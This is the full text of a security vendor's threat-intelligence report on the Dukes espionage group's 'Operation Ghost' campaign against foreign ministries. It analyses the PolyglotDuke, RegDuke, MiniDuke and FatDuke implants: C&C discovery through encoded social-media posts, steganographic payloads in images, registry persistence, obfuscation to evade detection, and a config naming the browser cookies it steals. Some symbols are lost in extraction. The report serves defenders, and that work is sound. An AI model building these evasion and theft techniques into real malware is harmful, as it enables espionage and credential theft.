Delivery The groups main initial tactic to breach a network is to send spearphishing emails that contain a link or an attachment.
Figure 2 is an example of one such campaign, which occurred at the end of 2016.
In order to increase the attackers chances, it is designed to be a subject of particular interest of the recipient.
This is different from mass-spreading malicious email campaigns where the same email is sent to hundreds or thousands of people by crimeware actors.
Figure 2 // Historical malicious email example.
Source: https://www volexity com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ When targets click on these malicious links or attachments, a .zip archive that contains a malicious, macro-enabled Word document and a decoy (as shown in Figure 3) will be downloaded.
If victims then open the malicious document and enable the macro, it will then install the PowerDuke backdoor [14].
In other cases, malicious Windows shortcuts (.lnk files) have been used instead of Word documents with malicious macros.
Figure 3 // Decoy document opened by the malicious attachment https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ Operation Ghost The Dukes arent back  they never left8 However, this is not the only method used by the Dukes to gain initial access.
In 2014, the Dukes started using two mass-spreading methods to deliver the OnionDuke implant: Trojanized pirated applications downloaded via BitTorrent A malicious TOR exit node to trojanize downloaded applications on the fly[15][16] OnionDuke has some capabilities outside the standard espionage features, such as a Denial of Service (DoS) module, but we have not observed them used in the wild.
Finally, the Dukes are also known for using multiple implants to compromise a target.
It is very common to see an implant delivering another one to regain control of a system.
Command and Control (CC) The Dukes have employed several interesting tactics to hide the communications between the implants and their CC servers, including the use of social media platforms and steganography.
MiniDuke [17] and HammerDuke [12] leveraged Twitter to host their CC URLs.
In addition, they use a Domain Generation Algorithm (DGA) to generate new Twitter handles.
Each time the malware generates a new handle, it fetches the Twitter page corresponding to that handle and searches the page for a specific pattern, which is the encrypted CC URL.
In CloudDuke [18], the operators leveraged cloud storage services such as OneDrive as their CC channels.
They were not the first group to use this technique, but it is generally effective for the attackers as it is harder for defenders to spot hostile connections to legitimate cloud storage services than to other suspicious or low-reputation URLs.
Moreover, the Dukes like to use steganography to hide data, such as additional payloads, in pictures.
It allows them to blend into typical network traffic by transferring valid images while its true purpose is to allow the backdoor to communicate with the CC server.
This technique has been described in Volexitys PowerDuke blogpost [14].
3.
OPERATION GHOST After 2017, it was not clear how the Dukes evolved.
Did they totally stop their activities?
Did they fully re-write their tools and change their tradecraft?
We spent months apparently chasing a ghost then, a few months ago, we were able to attribute several distinct intrusions to the Dukes.
During the analysis of those intrusions, we uncovered several new malware families: PolyglotDuke, RegDuke and FatDuke.
We call the Dukes campaigns using these newly discovered tools Operation Ghost 3.1 Targets and timeline We believe Operation Ghost started in 2013 and was still ongoing as of this writing.
Our research shows that the Ministry of Foreign Affairs in at least three different countries in Europe are affected by this cam- paign.
We also have discovered an infiltration by the Dukes at the Washington, DC embassy of a European Union country.
This targeting is not surprising, and it shows that the Dukes are still active in high-profile organizations.
We also believe that more organizations around the world might be affected but due to the use of unique CC infrastructure for each victim, we were not able to identify other targets.
One of the first traces of this campaign is to be found on Reddit in July 2014.
Figure 4 shows a message posted by one of the Dukes operators.
The strange string using an unusual charset is the encoded URL of a CC server and is used by PolyglotDuke as described in section 4 2.
https://www.virusradar.com/en/glossary/steganography Operation Ghost The Dukes arent back  they never left9 Figure 4 // Reddit post containing an encoded CC URL Figure 5 presents the timeline of Operation Ghost.
As it is based on ESET telemetry, it might be only a partial view of a broader campaign.
2018 October Last Twitter account registered by the Dukes 2019 October Publication of this report 2013 September First known compilation timestamp of PolyglotDuke 2014 July Post on Reddit containing an encoded CC URL 2016 September First known deployment in the wild of a FatDuke sample 2017 August First known deployment in the wild of a RegDuke sample 2019 June Latest known FatDuke sample deployed in the wild NEW NEW NEW Figure 5 // Timeline of Operation Ghost 3.2 Attribution to the Dukes It is important to note that when we describe so-called APT groups, were making connections based on technical indicators such as code similarities, shared CC infrastructure, malware execution chains, and so on  Were typically not directly involved in the investigations and identif ication of the individuals writing the malware and/or deploying it, and the interpersonal relationships between them  Furthermore, the term APT group is very loosely defined, and often used merely to cluster the abovementioned malware indicators  This is also one of the reasons why we refrain from speculation with regard to attributing attacks to nation states and such On one hand, we noticed numerous similarities in the tactics of this campaign in comparison to previously documented ones: Use of Twitter (and other social websites such as Reddit) to host CC URLs.
Use of steganography in pictures to hide payloads or CC communications.
Use of Windows Management Instrumentation (WMI) for persistence.
Operation Ghost The Dukes arent back  they never left10 We also noticed important similarities in the targeting: All the known targets are Ministries of Foreign Affairs.
Two of the three known targeted organizations were previously compromised by other Dukes malware such as CozyDuke, OnionDuke or MiniDuke.
On some machines compromised with PolyglotDuke and MiniDuke, we noticed that CozyDuke was installed only a few months before.
However, an attribution based only on the presence of known Dukes tools on the same machines should be taken with a grain of salt.
We also found two other APT threat actors  Turla [19] and Sednit [20]  on some of the same computers.
On the other hand, we were able to find strong code similarities between already documented samples and samples from Operation Ghost.
We cannot discount the possibility of a false flag operation however, this campaign started while only a small portion of the Dukes arsenal was known.
In 2013, at the first known compilation date of PolyglotDuke, only MiniDuke had been documented and threat analysts were not yet aware of the importance of this threat actor.
Thus, we believe Operation Ghost was run simultaneously with the other campaigns and has flown under the radar until now.
PolyglotDuke (SHA-1: D09C4E7B641F8CB7CC86190FD9A778C6955FEA28), documented in detail in section 4 2 uses a custom encryption algorithm to decrypt the strings used by the malware.
We found functionally equivalent code in an OnionDuke sample (SHA-1: A75995F94854DEA8799650A2F4A97980B71199D2) that was documented by F-Secure in 2014 [16].
It is interesting to note that the value used to seed the srand function is the compilation timestamp of the executable.
For instance, 0x5289f207 corresponds to Mon 18 Nov 2013 10:55:03 UTC.
The IDA screenshots in Figure 6 show the two similar functions.
Figure 6 // Comparison of a custom string encryption function found in PolyglotDuke and in OnionDuke samples from 2013 Similarly, the recent samples of the MiniDuke backdoor bear similarities with samples documented more than five years ago.
Figure 7 is the comparison of a function in a MiniDuke backdoor listed by Kaspersky in 2014 [21] (SHA-1: 86EC70C27E5346700714DBAE2F10E168A08210E4) and a MiniDuke backdoor (SHA-1: B05CABA461000C6EBD8B237F318577E9BCCD6047) compiled in August 2018.
PolyglotDuke OnionDuke Operation Ghost The Dukes arent back  they never left11 Figure 7 // Comparison of the same function in MiniDuke from 2014 and in MiniDuke from 2018 Given the numerous similarities between other known Dukes campaigns and Operation Ghost, especially the strong code similarities, and the overlap in time with previous campaigns, we assess with high confidence that this operation is run by the Dukes.
3.3 Tactics and tools In Operation Ghost, the Dukes have used a limited number of tools, but they have relied on numerous interesting tactics to avoid detection.
First, they are very persistent.
They steal credentials and use them systematically to move laterally on the network.
We have seen them using administrative credentials to compromise or re-compromise machines on the same local network.
Thus, when responding to a Dukes compromise, it is important to make sure to remove every implant in a short period of time.
Otherwise, the attackers will use any remaining implant to compromise the cleaned systems again.
Second, they have a sophisticated malware platform divided in four stages: PolyglotDuke, which uses Twitter or other websites such as Reddit and Imgur to get its CC URL.
It also relies on steganography in pictures for its CC communication.
RegDuke, a recovery first stage, which uses Dropbox as its CC server.
The main payload is encrypted on disk and the encryption key is stored in the Windows registry.
It also relies on steganography as above.
MiniDuke backdoor, the second stage.
This simple backdoor is written in assembly.
It is very similar to older MiniDuke backdoors.
FatDuke, the third stage.
This sophisticated backdoor implements a lot of functionalities and has a very flexible configuration.
Its code is also well obfuscated using many opaque predicates.
They re-compile it and modify the obfuscation frequently to bypass security product detections.
Figure 8 is a summary of the malware platform of Operation Ghost.
During our investigation, we also found a previously unknown (and apparently now retired) third-stage backdoor, LiteDuke, that was used back in 2015.
For the sake of historical completeness, it is analyzed in section 4 6.
MiniDuke from 2014 MiniDuke from 2018 https://en.wikipedia.org/wiki/Opaque_predicate Operation Ghost The Dukes arent back  they never left12 Online Service PolyglotDuke MiniDuke FatDuke Fetch the CC URL Initial Compromise Stage 1 Stage 2 Stage 3 Decrypt and drop Decode, decrypt and drop Hypothesis Malicious document sent by email 1 Stolen credentials lateral movement 2 RegDuke Downloads a picture from the Dropbox account Downloads a picture from the CC server Downloads a picture from the CC server Decrypt and drop Figure 8 // Summary of Operation Ghost malware platform Third, we also noticed that the operators avoid using the same CC network infrastructure between different victim organizations.
This kind of compartmentalization is generally only seen by the most meticulous attackers.
It prevents the entire operation from being burned when a single victim discovers the infection and shares the related network IoCs with the security community.
3.4 Operational times When it comes to cyberespionage, it is not uncommon for the malware developers and operators to follow the standard working hours of the country where they are located.
For instance, we previously showed that Sednit operators were generally working from 9 AM to 5PM in the UTC3 time zone [20].
Previously, FireEye researchers noticed that the Dukes were also mainly operating in the UTC3 time zone [12].
For Operation Ghost, we compiled three different types of timestamp in order to have an idea of their operational times: The time at which they uploaded CC pictures to the Dropbox account used by RegDuke The time at which they posted encoded CC URLs on the social media accounts used by PolyglotDuke The compilation timestamps of dozens of samples.
We believe they were not tampered with, as they are consistent with what we see in ESET telemetry data.
It should be noted that some of these timestamps may have been generated by an automated command system or an automated build system.
Operation Ghost The Dukes arent back  they never left13 Figure 9 shows the distribution of the operational hours of the Dukes in the three different time zones.
The distribution aligns well with working hours in a UTC2 or UTC3 time zone, with occasional work during the night.
This might be explained by a need to work at the same time as some of their victims.
Operational Hours Number of timestamps 15 30 45 60 0 0 2 4 6 8 10 12 14 16 18 20 22 Hour UTC timezone UTC 2 timezone UTC 3 timezone Figure 9 // Dukes operational hours 4.
TECHNICAL ANALYSIS In this part, we present the technical analyses of the different malware stages used in Operation Ghost 4.1 Compromise vector Despite having analyzed the Dukes activities in several different organizations, we were not able to find the initial compromise vector.
The group is known for sending well-crafted malicious emails, but we did not find any such samples.
It should also be noted that two of the three targeted organizations we identified had previously been compromised by the Dukes, mainly in 2015.
As such, it is highly possible that the attackers kept control over the compromised networks during this whole period.
We observed them pivoting in an already-compromised network using lateral movement tools like PsExec and stolen administrative credentials.
As such, from only a few compromised machines, they are able to expand their operations.
4.2 PolyglotDuke: the first stage PolyglotDuke is a downloader that is used to download and drop the MiniDuke backdoor.
As mentioned in section 3 2 and shown in Figure 6, this downloader shares several similarities with other samples from previous Dukes campaigns such as the use of Twitter to retrieve and decode its CC server address, as well as a custom string encryption implementation.
Both 32- and 64-bit versions of PolyglotDuke were observed and have similar behavior.
We dubbed this downloader PolyglotDuke in reference to its use of charsets from different languages to encode the CC addresses.
Operation Ghost The Dukes arent back  they never left14 Dropper PolyglotDukes dropper embeds an encrypted PolyglotDuke within a resource type named GIF with the ID 129.
The resource is encrypted with the following algorithm, using the string GIF89 from the resource (which is the 5 first magic bytes of the start of the GIF header) as the key: clearText[i]  (i / 5)  cypherText[i]  aGif89[i  5] After decryption, the DLL is written to the current working directory and executed using rundll32.exe.
The custom string encryption algorithm used by the PolyglotDuke dropper is identical to the one used by PolyglotDuke, as well as other samples from previous Dukes campaigns, and is depicted in Figure 7.
As mentioned in section 3 2, its worth noting that this dropper shares a great deal of functionality with OnionDuke, such as the use of a GIF resource, the use of the same algorithm with the string GIF89 as key to decrypt the resource, and the use of the same custom encryption algorithm to encrypt the strings.
CC server address retrieval from public webpages Strings from PolyglotDuke are decrypted using two different algorithms.
The string is either RC4 encrypted using the CryptDecrypt API where the key is derived from the system directory path with the drive letter removed, or using the custom encryption algorithm shown in Figure 6.
An IDA Python script to decrypt these strings is provided in our GitHub repository.
The CC server address is retrieved and decoded from various public webpages such as Imgur, ImgBB or Fotolog posts, tweets, Reddit comments, Evernote public notes, etc.
Several encrypted public webpage URLs are hardcoded in each sample (from three to six URLs in a single sample) and it will iterate over the hardcod- ed list of CC server addresses until it is able to decode a valid CC URL successfully.
An example of a public webpage containing an encoded CC URL is shown Figure 10.
Figure 10 // Example of a public post containing an encoded CC URL After retrieving the content of one of these webpages, PolyglotDuke parses it to find two delimiter strings and extracts the content between them.
The extracted UTF-8 string uses a particular character set within a Unicode block such as Katakana [22], Cherokee [23] or Kangxi radicals [24].
Any given sample can only decode a CC URL encoded in one of those charsets.
The string is first converted to UTF-16, only the last byte of each codepoint is kept, then a custom mapping is used to transpose this to printable ASCII.
The order of the characters of the resulting string is then reversed, resulting in the CC URL.
A script to decrypt the CC URL, regardless of the Unicode range used, is provided on our GitHub repository.
https://github.com/eset/malware-research/tree/master/dukes https://github.com/eset/malware-research/tree/master/dukes Operation Ghost The Dukes arent back  they never left15 PolyglotDuke, a multilingual downloader Katakana is a Japanese syllabary (part of the Japanese writing system), while Cherokee syllabary is used to write Cherokee (which is a Haudenosaunee language), and Kangxi radicals are components of Chinese characters.
The use of these character sets from different languages is the reason we named this downloader PolyglotDuke: Katakana   Cherokee   Kangxi radicals    Interestingly, the text from the delimiter strings usually makes sense in the context of the fake post.
The decoded CC URL points to a PHP script with which the downloader communicates using GET requests, as described in the next section.
Communication with the CC server Once the CC server URL is decoded, the compromised computer sends HTTP GET requests with arguments using the following format: GET example.com/name.
php?
[random_param1][random_string1][random_param2][random_string2] Only the argument values are relevant here as the argument names are selected randomly from a hardcod- ed list.
The list of argument names used is shown in Table 1.
This makes the communication between PolyglotDuke and the CC server difficult to identify because there are no obvious patterns.
Additionally, the User-Agent header used to perform the GET requests is a common one: Mozilla/5.0 (compatible MSIE 8.0 Windows NT 6.1 Trident/4.0 GTB7.4 InfoPath.2 SV1 .NET CLR 3.3.69573 WOW64 en-US) Table 1 List of parameters used to generate GET request to the CC server List of hardcoded argument names action Arg campaign_id data extra extra_1 Format id img_id Item itemId item_id K L mod_id mode num Number Oldid option page Pf Pflo placement ref S Show state tag Term Title v var View Operation Ghost The Dukes arent back  they never left16 The GET argument values are randomly generated but the first random string in each request should comply with a constraint based on a specific integer (see below).
A string will be randomly regenerated until one complies with the constraints.
The digits from the string representation of the MD5 hash of the randomly generated string are summed, and then modulo 5 of this value must match a specific integer.
The communication with the CC server to retrieve a payload follows this sequence: First the communication with the CC server is checked.
The sum of the digits of the MD5 hash of the first argument modulo 5 should be equal to 4.
The response of the CC server is matched with the second random string as it will echo back this string in case of successful communication.
If the communication with the CC server is successful, a custom hash from the concatenation of the username and the volume serial number of the disk of the current directory is generated and sent twice.
The modulo 5 value of the MD5 hash of the first parameters of these requests should be 0and2respectively.
In the response to the second request, search for img src and the next  strings in the last response and extract the image filename between them, if present.
Figure 11 shows a CC server response at the identification step, with a path to an image (cuteanimals12.jpg in this case).
If a filename was extracted in the preceding step, the file is retrieved into the directory whose name is the unique ID sent twice at the registration step: GET example.com/Username_VolumeID_Hash/cuteanimals12.jpg Figure 11 // CC response with a path to an image to download This sequence continues until a path to a file is provided between the img src and  strings and the file downloaded.
The communication steps are summarized in Figure 12.
Time Twitter, Imgur Reddit Communication check Echo Identification Path to file Img Get img CC server PolyglotDuke Retrieve CC address Figure 12 // Communication sequence with the CC server Operation Ghost The Dukes arent back  they never left17 Interestingly, the root URLs of the CC server used by PolyglotDuke redirect to domains with similar names hosting legitimate websites.
This technique is probably used in order to avoid suspicion when investigating the traffic with the CC server.
For one of the CC servers, the attackers forgot to add a TLD to the redirect- ed domain.
Examples of redirection are shown in Table 2.
Table 2 Example of redirection from the CC servers root URLs CC server domain name Redirection target rulourialuminiu.co[.
]uk rulourialuminiu.ro powerpolymerindustry[.
]com powerpolymer.net ceycarb[.
]com ceycarb (invalid, missing TLD) Payload decryption and execution A data blob containing encrypted data is appended to the end the downloaded file: this technique allows data to be easily included in a JPEG or PNG image download in a way that means the image remains valid.
We couldnt retrieve any of the files downloaded by PolyglotDuke to confirm this hypothesis but the way the encrypted blob is added to such files in addition to their extension being .jpg or .png lead us to think that they were valid images used to look like legitimate traffic.
To extract the payload from the file downloaded from the CC server, PolyglotDuke will first decrypt the last eight bytes with RC4 using the same key as the one used for strings decryption.
The first four decrypted bytes correspond the offset to the embedded blob relative to the end of the file and the last four bytes provide a value used as integrity check that value is the same as the first four bytes at the beginning of the blob.
The structure of the file is described in Figure 13.
IMG IMG 0x1BD75010 Oset DWORD size RC4 encrypted oset RC4 encrypted 0x1BD75010 RC4 encrypted PE Signature DWORD DWORD DWORD0x100Size Figure 13 // Embedded blob format After obtaining the offset to the embedded blob and checking the integrity value, the size of the RC4-en- crypted blob is retrieved from immediately afterward.
Then, next to the encrypted blob, we find the signed SHA-1 hash of the blob.
Before decrypting the blob, the hash signature is checked against an RC4-encoded public key hardcoded in the binary.
The signature verification procedure is shown in Figure 14 , while the public key used to check the hash signature is shown in Figure 15.
Operation Ghost The Dukes arent back  they never left18 Figure 14 // Decompiled hash signature verification procedure Figure 15 // Public key used to verify the hash signature This technique ensures that only a payload signed by the operators could be executed on the victims machine, since the private key used to sign the hash is needed to generate a valid signature.
After having successfully checked the hash signature of the encrypted blob, it is decrypted using the same key used for the RC4-encrypted strings.
The format of the decrypted blob is shown in Figure 16.
0x1BD75010 1 0x1BD75010 DWORD PE Size 0x1BD75010 Filename size FilenamePE DWORD Filename sizePE Size 1 2 Exec type Figure 16 // Encrypted blob format after decryption Notice that the same delimiter value is used and checked at various positions of the blob (in the example in Figure 16 it is 0x1BD75010).
Two of the bytes between the first two delimiters define the action to be taken with the decrypted blob.
The value immediately following the second delimiter is the size of the data, being either a PE or an encrypted configuration, followed by the data itself followed by a third delimiter, the size of the subsequent filename, and finally the filename itself.
The correct extension (.dll or .exe) will be appended to the filename of the PE to be written, depending on the executable type.
The list of valid combinations and their respective behaviors is shown on Table 3.
Operation Ghost The Dukes arent back  they never left19 Table 3 List of execution type combination and their corresponding behavior exec type 1 exec type 2 behavior 0 2 write the executable to disk and launch it using CreateProcess 1 4 write the DLL to disk and launch it using rundll32.exe 2 3 write the DLL to disk and load it using LoadLibraryW 3 1 write the encrypted JSON config to the registry, updating the list of public pages to parse for encoded CC addresses 4.3 RegDuke: a first-stage implant RegDuke is a first-stage implant that is apparently used only when attackers lose control of the other implants on the same machine.
Its purpose is to stay undetected as long as possible to help make sure the operators never lose complete control of any compromised machine.
It is composed of a loader and a payload, the latter being stored encrypted on the disk.
Both components are written in .NET.
RegDuke persists by using a WMI consumer named MicrosoftOfficeUpdates.
It is launched every time a process named WINWORD.EXE is started.
Our analysis is based on the sample with SHA-1 0A5A7DD4AD0F2E50F3577F8D43A4C55DDC1D80CF.
The loader Between August 2017 and June 2019, we have seen four different main versions of the loader.
The first version was not obfuscated and had the encryption key hardcoded in the code.
Later versions read the encryption key from the Windows registry and use different types of obfuscation such as control-flow flattening or directly using  NET Reactor, a commercial obfuscator.
Figure 17 is a sample of RegDuke obfuscated with .NET Reactor.
Figure 17 // Obfuscated RegDuke sample The flow of the loader is simple.
It reads the encrypted file at either a hardcoded path or at a value extracted from the Windows registry, as shown in Figure 18.
Figure 18 // RegDuke.
The path, password and salt are hardcoded in this example.
Operation Ghost The Dukes arent back  they never left20 Then, it decrypts it using a password and a salt either hardcoded in the loader or stored in the Windows registry.
The encryption key and the initialization vector are derived from the password and the salt using the technique described in RFC 2898, also known as PBKDF2, as shown in Figure 19.
Figure 19 // Decryption of RegDuke payload In all the samples we have seen, they use only the three different registry keys listed in Table 4.
It is interesting to note that attackers seem to have put some effort at selecting registry keys and values that might look legitimate.
Table 4 RegDuke Windows registry keys Registry Key Value containing the directory of the payload Value containing the filename of the payload Value containing the password and the salt HKEY_LOCAL_MACHINE\SOFTWARE\Intel\ MediaSDK\Dispatch\0102 PathCPA CPAmodule Init HKEY_LOCAL_MACHINE\SOFTWARE\Intel\ MediaSDK\Dispatch\hw64-s1-1 RootPath APIModule Stack HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSBuild\4.0 MSBuildOverride- TasksPath DefaultLibs BinaryCache Finally, the decrypted Windows Executable is loaded using the Assembly.
Load method.
We only found one payload, but we cannot be certain that others are not deployed in the wild.
The payload: a fileless, Dropbox-controlled backdoor The payload is a backdoor that resides in memory only, and that uses Dropbox as its CC server.
Its configuration is hardcoded in an internal class, shown in Figure 20.
Our analysis is based on the sample with SHA-1 5905C55189C683BC37258AEC28E916C41948CD1C.
Figure 20 // Dropbox backdoor configuration (redacted) We have seen the following clientId values being used: collection_3, collection_4, collection_6, collection_7, collection_8 and collection_99.
However, other than collection_4, we were not able to determine the targets for these collections.
Operation Ghost The Dukes arent back  they never left21 The backdoor regularly lists the Dropbox directory corresponding to its clientId and downloads PNG files from it.
The downloaded PNG files are valid pictures, as you can see in Figure 21.
Figure 21 // Example of two pictures downloaded from the Dropbox directory However, the attackers have used steganography to hide data in the pictures.
In Figure 22, you can see the code looping over all the pixels of the image and extracting data from them.
Figure 22 // Loop extracting a payload from the pixels of a downloaded picture Each pixel is encoded into 24 bits: 8 for red, 8 for green and 8 for blue.
The developers use a technique called Least Significant Bit to store 8 bits of data in each pixel, as shown in Figure 23.
This technique has been used previously by other malware such as Gozi [25].
They extract two bits from the red value, three from the green and three from the blue.
0 1 0 1 0 1 1 0 1 1 1 1 0 1 00 0 1 1 1 0 00 1 Red Green 1 0 1 00 00 1 Blue Figure 23 // The least significant bits of each color of each pixel are extracted to recover the hidden data Operation Ghost The Dukes arent back  they never left22 The steganographically altered image has almost no visible difference from the original image because the two or three least significant bits have a very limited impact on the color.
For the green and blue components of each pixel a maximum of 7/256, and for the red component 3/256 of a fully saturated pixel variation will occur.
Figure 24 shows a blue of value 255 (on the left) and the maximum deviation from that in just the blue spectrum with a value of 248 (on the right).
There is apparently no difference but, by doing that on every pixel of the image, allows the attacker to store a backdoor in a still valid PNG image.
255 248 Figure 24 // Comparison between a blue of value 255 and a blue of value 248 Finally, it decrypts the extracted bytes using the AES key hardcoded in the config.
The decrypted data can be: a Windows executable a Windows DLL a PowerShell script We have seen the following executables being dropped by this Dropbox backdoor: Several MiniDuke backdoors (see section 4 4) Process Explorer, a utility that is part of the SysInternals suite 4.4 MiniDuke backdoor: the second stage As highlighted in section 3 2, the most recent versions of the MiniDuke backdoor have a lot of code similarities with earlier versions, such as the sample with SHA-1 of 86EC70C27E5346700714DBAE2F10E168A08210E4, described by Kaspersky researchers in 2014 [21].
Our analysis is based on the sample with SHA-1 B05CABA461000C6EBD8B237F318577E9BCCD6047, compiled on August 17, 2018.
MiniDuke acts as a second-stage backdoor, which is dropped by one of the two first-stage components described in the sections above.
The most recent samples we are aware of were compiled in June 2019 and show no major changes, except the CC domain and the use of an invalid (likely transplanted) digital signature, as shown in Figure 25.
This might be an attempt to bypass some security products.
Figure 25 // Invalid digital signature added to the backdoor https://docs.microsoft.com/en-us/sysinternals/ Operation Ghost The Dukes arent back  they never left23 The backdoor is still written in pure x86 assembly but its size increased a lot  from 20 KB to 200 KB.
This is due to the addition of obfuscation, mainly control-flow flattening [26], as shown in Figure 26.
This is a common obfuscation technique that makes it difficult to read the code because every function is split in a switch/case inside a loop.
Figure 26 // Control flow flattening used to obfuscate the MiniDuke backdoor Some of the Windows API functions are resolved dynamically.
The backdoor uses a simple hash function to obfuscate the name of the function it tries to resolve.
The network communication is relatively simple.
It can use the GET, POST and PUT HTTP methods to contact the hardcoded CC server.
In order to blend into the legitimate traffic, the data are prepended with a JPEG header.
The resulting images are not valid, but it is very unlikely that anybody will check the validity of all pictures in the network traffic.
Figure 27 is an example of a POST request to the CC server.
As the server was down at the time of capture, we were not able to receive a reply, but we believe the reply also contains a JPEG header, as the malware ignores the first bytes of the reply.
Figure 27 // Post request to the CC server that looks like a regular jpeg file upload In addition to the HTTP protocol, the malware is able to send and receive data over a named pipe.
This feature typically allows it to reach machines on the local network that dont have internet access.
One compromised machine, with internet access, will forward commands to other compromised machines through the named pipe.
A similar feature to the named pipe is the HTTP proxy.
The malware will listen on a first socket, either on the default port 8080 or on a port specified by the operators.
It will also open a second socket with the CC server.
It waits for connections on the first socket and when one is established, it proxies data between the two sockets.
Thus, a machine without internet access, or with a firewall that blocks connec- tions to the attackers domain, might still be able to reach the CC through the proxy machine.
Operation Ghost The Dukes arent back  they never left24 Finally, this malware implements thirty-eight different backdoor functions such as: Uploading or downloading files Creating processes Getting system information (hostname, ID, pipename, HTTP method) Getting the list of local drives and their type (unk, nrt, rmv, fix, net, cdr, ram, und) Reading and writing in the named pipe Starting and stopping the proxy feature 4.5 FatDuke: the third stage FatDuke is the current flagship backdoor of the group and is only deployed on the most interesting machines.
It is generally dropped by the MiniDuke backdoor, but we also have seen the operators dropping FatDuke using lateral movement tools such as PsExec.
The operators regularly repack this malware in order to evade detections.
The most recent sample of FatDuke we have seen was compiled on May 24, 2019.
We have seen them trying to regain control of a machine multiple times in a few days, each time with a different sample.
Their packer, described in a later section, adds a lot of code, leading to large binaries.
While the effective code should not be larger than 1MB, we have seen one sample weighing in at 13MB, hence our name for this backdoor component: FatDuke.
In this section, we will use the sample with SHA-1 DB19171B239EF6DE8E83B2926EADC652E74A5AFA for our analysis.
Installation and persistence During our investigation, we were not able to find a dropper for FatDuke.
We believe the operators simply install the backdoor and establish persistence using the standard commands of an earlier stage backdoor.
We also noted that FatDuke generally replaced the second-stage binary, reusing the persistence mechanism already in place.
The persistence we have seen is very standard.
They use the registry key HKLM\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run and creatd a new value named Canon Gear and value C:\Program Files\Canon\Network ScanGear\Canocpc.exe.
This launches the backdoor each time a user logs in.
Configuration FatDuke has a hardcoded configuration embedded in the executables resources, as shown in Figure 28.
Figure 28 // FatDuke configuration data in the PE resources Operation Ghost The Dukes arent back  they never left25 The configuration data is a JSON object encoded in base64.
Once decoded, it reveals much interesting information, as shown in Figure 29.
config_id:145, encoding_mode:Base64, encryption_mode:Aes256, key:62DA45930238A4A1149E76658A35C4A70CE7E0CDF7529C96499FB5F27AA647B3, pivoting_ip:redactedlocalIPv4address, pivoting_pipe:lippstdt, pivoting_login:Administrator, pivoting_password:redacted, server_address:https://ministernetwork[.
]org:443/Main/, ignore_certificate_errors:0, connection_types:WinInet,WinHttp,UrlMon, data_container:Cookie, rsa_public_key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dz BCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBcWZBWHVlRTdiK2pUUFhWb3MxVSsNCnRkcWV5WlR2dFNWYXRvZkt 1QWZUNm5wVmh3cHBieFRDcjdSN1Y2VXdwK2tPK1pTbWRWTTZ4b3VzOTAyTDVIV3UNCldXK1dOemsraDVJUzFP dWdkeUJXQWs4bDRmWVRoMVBNbXgwTzQvZU9JY0g4c1NUNXZPOTB3SEY0T3pXQ1I4b3gNCkxqVGlkTTdpVXQ5Y kptVjRkNDZVa2tpL3ZDYXZFU0p5b0l2eU9WS2M0ZjNRczQ2TW1uSjRnd1RoaE4rQkt2dmgNCnphbXJOZ3kzNk 9QY0IxOFRweGd3OW8vVmpMbTJ2RTB2c3dzM3hqOXlGTERTVFplRUFBY0V6c1NvckRQOFdOWm0NCktyMXVNUFh vL3k2by9VOUptM3VPdUFFdG50cEpRQW5SZmFpZGZpbHBVUHF6OXZxWGpiOCtJSXVtWVQvRUVwcmMNCkd3SURB UUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0NCg, request_min_timeout_s:1, request_max_timeout_s:60, php_aliases:about.php,list.php,contacts.php,people.php,forum.php,index.php, welcome.php, cookies:param,location,id_cookie,info,session_id, service_cookie_1:GMAIL_RTT, service_cookie_2:SAPISID, service_cookie_3:APISID, activity_scheduler:Mon,Tue,Wed,Thu,Fri0:00-23:59, grab_ua_by_probing: 0  Figure 29 // FatDuke configuration example Included in the information contained in the config, we can see: The AES key used to encrypt/decrypt the network traffic The pipe name and the credentials used to contact another machine on the local network The CC URL The time of day when the backdoor is enabled for attacker access Cookies that the malware can fetch in the browsers cookie directory.
They are related to cookies used by Google services such as YouTube or Gmail The operator has the possibility to fetch the configuration from the computer along with usual computer information like username, Windows version, computer name, build, etc.
Finally, it does not seem possible to update this configuration without dropping a new version of the malware.
Backdoor and network FatDuke can be controlled remotely by the attackers using a custom CC protocol over HTTP or using named pipes on the local network.
HTTP communications and backdoor commands In order to blend into the network traffic, FatDuke tries to mimic the users traffic by using the same User-Agent as the browser installed on the system.
It implements two different techniques to gather this value.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent Operation Ghost The Dukes arent back  they never left26 First, it can probe the User-Agent by making an HTTP request on a socket it has just created.
1.
It creates a socket listening on localhost:80 2.
It accepts any connection 3.
It calls ShellExecuteW with open and http://localhost: as argument.
This will open the default browser on the URL localhost.
4.
The socket replies with a hardcoded HTTP reply: HTTP/1.1 200 OK Server: Apache/2.2.14 (Win32) Content-Type: text/html Connection: close htmlscriptwindow.close()/script/html This simple JavaScript code will directly close the browser.
The window pops up only for a fraction of second but the user also loses focus of the currently active window.
5.
In order to extract the User-Agent, FatDuke parses the HTTP request sent by the browser to its socket.
If the previous method did not work, it can check the default browser in the registry key HKCU\Software\ Classes\http\shell\open\command.
It then selects one of the hardcoded User-Agent strings accordingly, as shown in Table 5.
Table 5 Hardcoded User-Agent Default Browser Selected User-Agent Chrome Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Firefox Mozilla/5.0 (Windows NT 6.1 WOW64 rv:34.0) Gecko/20100101 Firefox/34.0 Internet Explorer Mozilla/5.0 (compatible MSIE 10.0 Windows NT 6.1 Trident/6.0) Opera Mozilla/5.0 (Windows NT 6.1 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.35 Safari/537.36 OPR/24.0.1558.21 Safari Mozilla/5.0 (Windows Windows NT 6.1) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 Next, FatDuke contacts the CC server, specified in the config, and uses one of the PHP scripts specified in the php_aliases field of the config.
It is interesting to note that these filenames are related to the theme of the CC server domain.
For example, they registered the domain westmedicalgroup[.
]net, and the aliases list contains filenames such as doctors.php or diagnostics.php.
Figure 30 is a summary of the CC protocol.
